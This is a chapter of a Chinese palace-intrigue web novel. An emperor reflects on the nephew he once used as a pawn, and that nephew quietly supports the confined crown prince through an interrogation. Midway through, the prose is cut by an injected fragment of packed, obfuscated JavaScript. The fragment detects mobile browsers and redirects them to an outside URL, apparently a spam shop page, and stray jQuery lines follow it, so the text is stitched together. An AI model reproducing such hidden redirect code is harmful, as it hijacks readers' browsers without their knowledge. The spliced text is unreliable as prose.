静思堂的每日记录，薄薄一纸，墨字工整，于黄昏时分准时置于紫宸殿御案的一角。起初几日，梁帝只是扫过一眼，目光在那“洒扫、修补、生火、布膳，皆妥”等简略评语上略作停留，便挪开，不予置评。
直到第五日。
那日的记录比往常稍详，许是监守见陛下连日沉默，揣摩不出圣意，便多写了几笔：
“……辰时初，宇文戎起身，先检视正房炭盆，添炭，以旧衣下摆轻扇风助燃，烟火不起。后清扫庭院，落叶归拢于树下，未弃于道。巳时，见窗纸有新破，自取浆纸修补，手法极熟，补后平整如新。午间布膳，筷置于右，汤碗移近三分。太子食欲似稍增。午后，太子于庭中久立，宇文戎默取旧氅衣，候于廊下半晌，待太子归时方递上，未发一言。晚间歇息前，以热水烫石，布包裹之，置太子榻前暖足。自身宿外间窄榻，和衣而卧，夜中添炭两次，步履极轻。”
梁帝的目光在“手法极熟”、“未发一言”、“步履极轻”几处，停留了许久。殿内烛火噼啪，将他凝然不动的身影投在身后的山河屏风上，仿佛与那墨绘的峻岭孤松融为一体。
朱笔悬停的刹那，梁帝眼前的奏章字迹忽然模糊、氤氲，化作另一幅久远却锋利的画面——
不是静思堂冰冷的记录，而是更早、更灼热的记忆。那时，戎儿还很小，不到他腰际，太子刘成也不过总角之年。
紫宸殿后的暖阁里，炭火同样旺着，却漾着截然不同的气息。太子刘成挺直小小的背脊，在御案一侧练习大字，一笔一划，不敢有失。梁帝的目光偶尔掠过，带着严父的审视，稍有不合规矩的败笔，便是淡淡一句：“重写。” 太子便会抿紧嘴唇，默默换纸，从头再来。
而另一边，更小的宇文戎，却常常赖在梁帝膝边，或趴在他案头，好奇地拨弄着玉玺的边角，或用沾了墨的小手去够摊开的奏折。梁帝从不真正斥责，至多笑骂一句：“顽皮。” 便任由那墨渍染上衣袖，或纵容他将枯燥的奏章当画纸涂鸦。
他给太子的赏赐，多是书籍、刀剑、寓意深远的古玩，要求他勤学苦练，明理知义。给宇文戎的，却是甜甜的糕饼、新奇的玩具、毛茸茸的塞外进贡小兽，只求他展颜一笑。太子犯错，需跪听训诫，罚抄《君道》；戎儿闯祸，往往被一把抱起，拍拍身上尘土，一句“下不为例”便轻轻揭过。
宫人们私下都说，陛下待太子如严师，待戎公子却如慈父。
那时，戎儿依恋他，信任他，清澈的眼眸里全无阴霾，“舅舅”喊得又甜又脆。他会爬上御座，蜷在梁帝怀里听他讲故事，会在雷雨夜抱着枕头钻到他的寝殿，会在生病时只肯要他喂药……那些那段的时光里，他只是个被舅舅宠着长大的、有些骄纵却赤诚可爱的孩子。
然而，记忆的暖色骤然褪去，染上血腥与寒铁的气息。
八岁。那个关键的、一切急转直下的年岁。
画面切换到云翳宫那场注定载入隐秘史册的夜宴。笑语喧哗之下，暗流早已涌动。他需要一把最快、最不起眼、也最致命的刀，去切断那五条蠢蠢欲动的毒蔓。目光扫过身边所有人，最终，落在了那个席间讨要一道甜点的孩子身上。
戎儿。
只有戎儿，能轻易拿到靖王府的信物而不被怀疑；只有戎儿，能天真无邪地传递“舅舅邀您宫中尝新酿”的口信；也只有戎儿，在事发之后，会成为最完美的、转移靖王怒火的靶子，和他与靖王之间心照不宣的博弈缓冲。
他哄骗了他。
后来的事，便如文件所载。杯碎，箭发，血溅。五位将军成了刺猬。龙椅上的梁帝，面色冷硬如石雕。而殿角，被侍卫“保护”着的宇文戎，小脸惨白，瞳孔骤缩，难以置信地望着眼前地狱般的景象，再缓缓转向御座上那个陌生的、冷酷的舅舅。孩子眼中某种东西，在那一刻，“咔”地一声，碎了。
再后来，便是靖王震怒，青山顶英雄冢前的鞭笞，长公主披发匍匐护子……一桩桩，一件件，通过密报传入梁帝耳中。他闭上眼，能想象出鞭子撕裂皮肉的声音，能“看到”那孩子从哀求到绝望的眼神，能感受到长公主心如刀割的泪水。
是他。是他亲手将捧在掌心宠溺的孩子，推到了那呼啸的鞭影之下，推到了父子反目、家族厌弃的绝境。
如今，静思堂记录里那个沉默、熟练、将所有卑微活计做到极致的“仆役”，就是当年那个会赖在他怀里撒娇的孩子，被残酷现实反复捶打、重塑后的模样。他所有的熟稔，都带着血泪的烙印；他所有的沉默，都是过往尖叫与痛哭凝结成的冰壳。
“朕的戎儿……”梁帝猛地收紧了握笔的手，指节泛白。朱笔尖端，一滴浓稠的红色墨汁，不堪重负般，“嗒”一声，落在奏章空白处，泅开一团刺目的红，宛如陈旧的血渍。
他既是缔造这悲剧的帝王，也是此刻心被凌迟的舅舅。而这双重身份的撕扯，或许将伴随他直至生命的尽头，成为御座华美锦袍之下，无人能窥见、也永难愈合的暗伤。
烛火跳跃了一下，将他脸上瞬息万变的复杂神色照亮一瞬，旋即又隐入阴影。那里面有心痛，但更多的，是一种深沉的、帝王独有的疲惫与苍凉。他心疼，但这份心疼之上，牢牢压着江山社稷的重量，压着帝王的权衡与算计。
良久，梁帝缓缓睁开眼，眸中所有属于“舅舅”的柔软波澜已被压下，重新覆上一层冷静到近乎冷酷的清明。他提起朱笔，在那份记录末尾，批了两个字：
“悉知。”
墨迹未干，殷红如血。
停笔片刻，他复又开口，声音已然恢复平日的威仪沉静，听不出丝毫异样：“怀恩。”
“奴才在。”
“静思堂的用度，炭火可再足些，饮食……着尚食局暗中添一味温补的药膳，做得精细些，莫露痕迹。”他顿了顿，补充道，“宇文戎……外间窄榻单薄，换张稍厚实的垫褥。他自幼体弱，寒地不宜。”
“奴才明白。”怀恩躬身应道，心头微凛。陛下此举，是念旧，是补偿，亦是一种更深的掌控——将关切置于暗中，既全了心意，又不损威严，更让受者无从拒绝，只能承受。
梁帝不再言语，目光重新投向案头堆积如山的奏章。仿佛方才那片刻的失神与心潮起伏，从未发生。
只是无人看见，他执笔批阅下一份奏章时，笔尖悬停良久，第一个朱批的“准”字，起笔处微微凝滞，墨色略深，似有千钧之重。
窗外的雪，又开始下了。纷纷扬扬，覆盖了宫城的金瓦红墙，也覆盖了无数深埋于岁月冰层下的秘密与伤痛。
静思堂里，宇文戎刚为太子榻前的暖炉换好最后一块炭，指尖无意间拂过新送来的、明显厚实柔软了许多的垫褥边缘，动作几不可察地微微一滞。他抬眼看了一下漆黑窗外飘扬的雪花，又迅速垂下眼帘，脸上依旧没什么表情，只是将那垫褥抚得更平整了些。
他知道，或迟或早，紫宸殿的目光总会落下。只是这目光中蕴含的，究竟是审视，是算计，还是那渺茫到几乎不敢奢望的、一丝属于“舅舅”的垂怜，他无从分辨，也不必分辨。
他只需继续做好他的“仆役”，在这冰冷的囚笼里，沉默地燃尽自己这点微弱的、源自苦难生涯的“用处”，为另一个人，换取些许温暖与安宁。
这便够了。也是他唯一还能为“太子哥哥”，为那个曾给过他暖意的兄长，所做的事了。
审问，是在一个铅灰色天空的上午到来的。
没有刑具，没有衙役，只有一位身着紫袍、面容清癯的老者，在两名内侍的陪同下，走进了静思堂的庭院。老者姓杜，官居大理寺少卿，以“明察秋毫、言辞机锋”著称。他步伐从容，目光平静，如同来赴一场寻常的清谈。
宇文戎在廊下清扫，余光早已将一切收入眼底。他知道，这只是开始。
杜少卿被引入正堂。门未关，但两名内侍如门神般立在了门槛处，隔绝了内外。
宇文戎放下扫帚，转身去了小厨房。炉上一直温着一壶清水，火候刚好。他用托盘端着一壶水、两只素瓷杯，垂目敛息，走到门边。
“大人，”他声音不高，恰好能让里面听见，“可需添水？”
内侍看了他一眼，又望向堂内。片刻，里面传来杜少卿温和的声音：“进来吧。”
宇文戎躬身入内。堂内，太子刘成坐在主位，背脊挺得有些僵硬，面色苍白。杜少卿坐在下首，姿态闲适，仿佛真是来聊天的。
“殿下近日起居可还安好？”杜少卿开口，寒暄般自然。
“尚可，有劳杜卿挂怀。”太子的声音还算平稳。
宇文戎将托盘置于一旁矮几，先为杜少卿斟水七分满，双手奉上。然后走到太子身边，将另一只杯子注水五分，轻轻放在太子手边——这个角度，太子不必大幅移动手臂便能取用，且水温透过杯壁，是恰好能暖手又不烫人的热度。
他做这一切时，动作轻缓、准确，没有发出一点多余的声响，如同一道背景里移动的影子。放好杯子，他便退到太子座椅斜后方三步远的位置，垂手侍立。
杜少卿的目光似乎在他身上停留了短短一瞬，随即又回到太子脸上，笑容依旧和煦：“陛下甚为关心殿下，特命老臣前来探视。近来京中有些流言，涉及东宫旧属，不知殿下……可有耳闻？”
问题开始了。从“流言”切入，看似随意，实则刀锋已现。
太子放在膝上的手微微蜷了一下。“孤幽居于此，耳目闭塞，未曾听闻。”
“哦？”杜少卿端起茶杯，“那……关于去岁漕运改道，殿下曾力主经由峡谷关之事，可还记得？有司复查旧档，发现当时几位力荐此道的官员，后来似乎与殿下门下来往甚密啊。”
这已是赤裸的关联指控。太子的呼吸重了一分。
宇文戎依旧垂着眼，但全身的感官都调动到了极致。他听见太子喉咙轻微的吞咽声，那是紧张与干渴。他看见太子指尖无意识地摩挲着光滑的瓷杯壁。
就在太子即将开口，声音可能因干涩而显出不稳时——
宇文戎动了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048641|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他上前半步，并非走向太子，而是极其自然地将矮几上那壶温水又向太子的方向推近了一寸。这个细微的动作，发出几乎听不见的、陶瓷与木质桌面摩擦的轻响，恰到好处地插入对话那紧绷的节奏里。
太子的目光被这微小的动静牵引，下意识地落在了杯子上。他顿了一下，伸手握住了杯子。温热的触感从掌心传来，似乎给了他一丝支撑。他借着低头饮水的短暂片刻，稳住了气息。
“杜卿此言差矣。”太子的声音比刚才沉了一些，“漕运改道，乃廷议公决，孤不过是陈述利弊。至于官员往来，皆有规制可查，何来‘甚密’之说？”
杜少卿笑了笑，不置可否，话题却已转向更幽微处，关于几次宫宴座次、关于某些诗文唱和、关于对某几位老臣“过于礼遇”的暗示……问题如绵密的针，不致命，却专挑最敏感、最难辩白处下针。太子的脸色越来越白，挺直的背脊也开始透出僵硬的疲惫。
每当太子的呼吸变得急促，手指开始颤抖，或是回答出现短暂的卡顿时，宇文戎总会“适时”地有所动作。
有时是上前，用火钳极其轻缓地拨动一下炭盆里本就燃烧均匀的炭块，让一丝更暖的热流漾开。
有时是转身，仿佛要去取什么东西，衣袂带起微弱的风声。
有时，仅仅是在太子被一个极其刁钻的问题逼得瞳孔骤缩时，他极轻微地、几乎不可察觉地，咳嗽了一声。声音压抑短促，足以引起注意，打断那即将压垮人的沉默瞬间，又不显刻意。
杜少卿何等人物，岂能察觉不到？他的目光几次掠过宇文戎，眼底深处掠过审视与一丝了然的微光。但他没有点破。因为宇文戎所做的一切，从规矩上挑不出错。一个尽心伺候的仆役，何错之有？
审问持续了近一个时辰。最后，杜少卿放下早已凉透的茶杯，缓缓起身。
“殿下保重，老臣告退。”他依旧礼数周全。
太子站起身，嘴唇翕动：“杜卿慢走。”
杜少卿走到门口，脚步微顿，似乎想起什么，回头对宇文戎淡淡道：“你，伺候得还算周到。只是下次，记得及时为本官换热茶。”
宇文戎立刻躬身，声音毫无波澜：“小人记下了。”
杜少卿走了。庭院里恢复了寂静，但那沉重的、被无数尖锐问题犁过一遍的空气，却久久不散。
太子站在原地，脸上最后一点血色也褪尽了，只剩下被深深羞辱和无力感冲刷后的惨白与空洞。他的身体几不可察地摇晃了一下。
宇文戎没有说一句话，甚至没有看太子的脸。他快速而利落地收拾了茶杯，然后转身出去。片刻后，他端着一盆温度略高的热水回来，盆沿搭着洁净的软巾。
他将水盆放在太子脚边的矮凳上，然后退开一步，垂首道：“殿下，请净手。”
他的声音平稳如常，仿佛刚才那一个时辰的惊心动魄从未发生，仿佛这只是每日午后一次寻常的盥洗。
太子涣散的目光缓缓聚焦，落在蒸腾着温热白汽的水面上。他怔怔地，慢慢弯下腰，将双手浸入水中。
温热的水包裹住他冰冷颤抖的手指，顺着皮肤，丝丝缕缕地向上传递着一种实在的、安抚性的暖意。
宇文戎静静地候在一旁。待水渐温，他上前，将软巾浸湿、拧干，递上。太子接过，用力擦了擦脸，仿佛想擦去某种无形的东西。
“更衣吧，殿下。”宇文戎又说，语气依旧平淡，却带着一种不容置疑的、关于日常秩序的坚持。他取来一套干净的、浆洗得挺括的素白中衣。
太子看了他一眼，那眼神复杂，有未散的余悸，有一丝极深的疲惫，也有一点点……依赖。他沉默地，任由宇文戎服侍他换下了那身被冷汗微微浸湿的外袍。当干净柔软的布料贴上皮肤时，他几不可闻地叹了口气，紧绷的肩膀终于松懈下来一丝。
宇文戎将换下的衣物收好，又去查看炭火，添上新炭。然后，他将窗户推开一道细细的缝隙，让外面清冷但新鲜的空气流入，冲淡室内凝滞无形的压力。
做完这一切，他才回到太子面前，低声道：“午膳时辰快到了。殿下可要小憩片刻？”
太子摇了摇头，在椅子上缓缓坐下，闭上了眼睛。
宇文戎不再多言，退了出去。当他轻轻带上堂屋的门时，从渐渐合拢的门缝里，他看到太子依旧闭目坐着，但胸膛的起伏，已比方才平稳了许多。
庭院里，寒风依旧。宇文戎走到廊下，拿起那把似乎永远也扫不完的扫帚，重新开始一下、一下，极其规律地清扫着青石板。
他的脸上没有任何表情，只有一片深潭般的平静。
他知道，杜少卿还会再来。下一次的“谈话”或许会更尖锐。他也知道，自己能做的，永远只是这些微不足道、悄无声息的小事。
他无法阻挡那些落在太子精神上的鞭子，但他可以，在每一鞭落下之后，用最沉默的方式，维护住那最后一点，生而为人的体面与尊严。
这或许无用。但这已是他所能付出的、全部的有用。